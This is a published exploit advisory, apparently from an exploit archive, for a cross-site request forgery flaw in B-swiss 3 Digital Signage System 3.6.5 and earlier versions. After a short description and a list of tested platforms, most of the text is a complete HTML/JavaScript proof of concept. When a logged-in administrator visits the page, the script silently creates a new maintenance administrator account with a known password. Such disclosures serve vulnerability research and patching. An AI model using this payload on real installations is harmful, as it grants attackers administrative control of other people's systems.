B-swiss 3 Digital Signage System 3.6.5 Cross-Site Request Forgery (Add Maintenance Admin)

2020.10.15
Credit: LiquidWorm
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

# Exploit Title: B-swiss 3 Digital Signage System 3.6.5 - Cross-Site Request Forgery (Add Maintenance Admin) # Date: 2020-09-16 # Exploit Author: LiquidWorm # Vendor Homepage: https://www.b-swiss.com # Version: 3.6.5 Affected version: 3.6.5,3.6.2,3.6.1,3.6.0,3.5.80,3.5.40,3.5.20,3.5.00,3.2.00,3.1.00 <!-- B-swiss 3 Digital Signage System 3.6.5 CSRF Add Maintenance Admin Vendor: B-Swiss SARL | b-tween Sarl Product web page: https://www.b-swiss.com Affected version: 3.6.5 3.6.2 3.6.1 3.6.0 3.5.80 3.5.40 3.5.20 3.5.00 3.2.00 3.1.00 Summary: Intelligent digital signage made easy. To go beyond the possibilities offered, b-swiss allows you to create the communication solution for your specific needs and your graphic charter. You benefit from our experience and know-how in the realization of your digital signage project. Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Tested on: Linux 5.3.0-46-generic x86_64 Linux 4.15.0-20-generic x86_64 Linux 4.9.78-xxxx-std-ipv6-64 Linux 4.7.0-040700-generic x86_64 Linux 4.2.0-27-generic x86_64 Linux 3.19.0-47-generic x86_64 Linux 2.6.32-5-amd64 x86_64 Darwin 17.6.0 root:xnu-4570.61.1~1 x86_64 macOS 10.13.5 Microsoft Windows 7 Business Edition SP1 i586 Apache/2.4.29 (Ubuntu) Apache/2.4.18 (Ubuntu) Apache/2.4.7 (Ubuntu) Apache/2.2.22 (Win64) Apache/2.4.18 (Ubuntu) Apache/2.2.16 (Debian) PHP/7.2.24-0ubuntu0.18.04.6 PHP/5.6.40-26+ubuntu18.04.1+deb.sury.org+1 PHP/5.6.33-1+ubuntu16.04.1+deb.sury.org+1 PHP/5.6.31 PHP/5.6.30-10+deb.sury.org~xenial+2 PHP/5.5.9-1ubuntu4.17 PHP/5.5.9-1ubuntu4.14 PHP/5.3.10 PHP/5.3.13 PHP/5.3.3-7+squeeze16 PHP/5.3.3-7+squeeze17 MySQL/5.5.49 MySQL/5.5.47 MySQL/5.5.40 MySQL/5.5.30 MySQL/5.1.66 MySQL/5.1.49 MySQL/5.0.77 MySQL/5.0.12-dev MySQL/5.0.11-dev MySQL/5.0.8-dev phpMyAdmin/3.5.7 phpMyAdmin/3.4.10.1deb1 phpMyAdmin/3.4.7 phpMyAdmin/3.3.7deb7 WampServer 3.2.0 Acore Framework 2.0 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2020-5589 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5589.php 13.06.2020 --> <html> <body> <h1>CSRF Add b-swiss Maintenance Admin</h1> <script> function GodMode() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http:\/\/192.168.10.11\/index.php", true); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryfH6TtIgiA4Qhr6Ed"); xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9"); xhr.withCredentials = true; var body = "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"locator\"\r\n" + "\r\n" + "Users.Save\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"page\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"sort\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"id\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"ischildgrid\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"inpopup\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"ongridpage\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"rowid\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"preview_screenid\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"rec_firstname\"\r\n" + "\r\n" + "TestingusF\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"rec_lastname\"\r\n" + "\r\n" + "TestingusL\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"rec_email\"\r\n" + "\r\n" + "aa@bb.cc\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"rec_username\"\r\n" + "\r\n" + "testingus\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"rec_password\"\r\n" + "\r\n" + "123456\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"rec_cpassword\"\r\n" + "\r\n" + "123456\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"rec_adminlevel\"\r\n" + "\r\n" + "100000\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"rec_status\"\r\n" + "\r\n" + "1\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"rec_poza\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"rec_poza_face\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"rec_language\"\r\n" + "\r\n" + "french-sw\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"rec_languages[]\"\r\n" + "\r\n" + "2\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + "Content-Disposition: form-data; name=\"rec_can_change_password\"\r\n" + "\r\n" + "1\r\n" + "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Press me" onclick="GodMode();" /> </form> </body> </html>


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